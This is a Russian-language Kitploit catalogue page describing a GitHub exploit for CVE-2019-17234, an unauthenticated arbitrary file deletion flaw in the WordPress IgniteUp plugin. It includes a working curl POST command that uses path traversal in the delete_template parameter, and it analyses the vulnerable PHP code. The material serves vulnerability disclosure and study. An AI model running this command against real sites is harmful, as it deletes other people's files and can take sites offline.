Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-17234b-Exploit — Плагин Wordpress IgniteUp < 3.4.1 позволяет неаутентифицированным пользователям произвольно удалять файлы на веб-сервере, что может вызвать DoS. | Kitploit
Инструменты/GitHubGitHub/administra1tor/cve-2019-17234b-exploit
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubadministra1tor/cve-2019-17234b-exploit

CVE-2019-17234b-Exploit

Плагин Wordpress IgniteUp < 3.4.1 позволяет неаутентифицированным пользователям произвольно удалять файлы на веб-сервере, что может вызвать DoS.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
5 лет назадЕщё не проверено

Уязвимость плагина WordPress IgniteUp

Плагин WordPress IgniteUp версии 3.4 и ниже позволяет удалённым неаутентифицированным пользователям потенциально произвольно удалять любые файлы на целевом веб-сервере, что может привести к отказу в обслуживании (DoS).

Хронология CVE-2019-17234

Уязвимость была сообщена команде wordpress.org 20 сентября 2019 года, а 8 ноября 2019 года вышла новая версия плагина 3.4.1.[3]

Предыстория

IgniteUp — популярный плагин WordPress для простой настройки и управления целевыми страницами сайта, чтобы сообщить пользователям, что сайт скоро откроется, находится на обслуживании или в разработке.

Плагин из коробки поставляется с 5 бесплатными шаблонами по умолчанию: believe,cleaner,glass,launcher,offline.

Названия шаблонов выделены, поскольку для выполнения корректного запроса к веб-серверу с целью эксплуатации уязвимости требуется правильный параметр [template-name].

Эксплойт (curl)

[ПРЕДУПРЕЖДЕНИЕ]

Приведённый ниже пример команды может быть достаточен для того, чтобы сломать ваш сайт WordPress, в данном случае удалив основные файлы плагина IgniteUp.

root@kitploit:~
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php

dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php

[ПРИМЕЧАНИЕ] Приведённая выше команда выполняет обход каталога внутри относительного пути плагина; при правильных правах доступа (755 для каталогов веб-сервера и 644 для файлов веб-сервера) и владельце (www-data, apache и т.д.) поверхность атаки ограничена корневым каталогом сервера (например, /var/www/html).

Анализ уязвимого кода

Функция, являющаяся источником этой уязвимости, выделена ниже; файл с ней можно найти по пути wp-content/plugins/igniteup/includes/class-coming-soon-creator.php. Как следует из названия, этот файл отвечает за создание новых пользовательских шаблонов и удаление стандартных/созданных.

V3.4

root@kitploit:~
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
   if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
      return;
   $folder_name = $_POST['delete_template'];
   $path = dirname(CSCS_FILE) . '/includes/templates/';
   array_map('unlink', glob($path . $folder_name . '/*.*'));
   rmdir($path . $folder_name);
   unlink($path . '/' . $folder_name . '.php');
   header('Location: ' . $_SERVER['REQUEST_URI']);
}

admin_init в самой первой строке — это хук действия WordPress. Хуки[2] являются основой взаимодействия плагинов и тем с ядром WordPress, но также широко используются самим ядром.

К сожалению, функция, связанная с хуком действия, deleteTemplate(), не содержит проверок прав администратора/пользователя. Она даёт читателю достаточно подсказок о том, как выполнить такое действие: глядя на код, легко заметить PHP POST-параметр delete_template. В совокупности с хуком admin_init этого достаточно, чтобы попытаться выполнить POST-запрос к веб-серверу через интерфейс /wp-admin/admin-post.php, как указано в разделе с эксплойтом.

[ЛИЧНОЕ ПРИМЕЧАНИЕ] Анализируя обычное поведение плагина с точки зрения администратора WordPress, довольно странно обнаружить эту функцию (полагаю, это остаток от более ранних версий), поскольку:

  1. В v3.4 в админ-панели нет возможности удаления шаблона — доступна только активация/деактивация плагина или «создание» (загрузка) премиальных ($$$) шаблонов.
  2. Поведение кода в целом некорректно: функция unlink() при нормальных обстоятельствах никогда не завершится правильно, так как при построении параметра функции слэш '/' между $path и $folder_name не должен присутствовать — завершающий слэш уже добавлен в объявлении переменной $path.

Вот пример того, что происходит во время unlink, когда я пытаюсь уничтожить каталог шаблона.

attack.png

TODO

тест admin-ajax.php сравнение v3.4.1

Авторы

  • Andrea Vignudelli -(https://github.com/administra1tor)

Ссылки

  • Благодарность Джерому Брюанде (Jerome Bruandet) за сообщение об этой проблеме.

[источник] https://blog.nintechnet.com/multiple-vulnerabilities-in-wordpress-igniteup-coming-soon-and-maintenance-mode-plugin/

[1] журнал изменений v3.4.1 — https://it.wordpress.org/plugins/igniteup/#developers

[2] Хуки WordPress — https://developer.wordpress.org/plugins/hooks/

[3] Ссылка на CVE-2019-17234 в NIST — https://nvd.nist.gov/vuln/detail/CVE-2019-17234

Скачать инструмент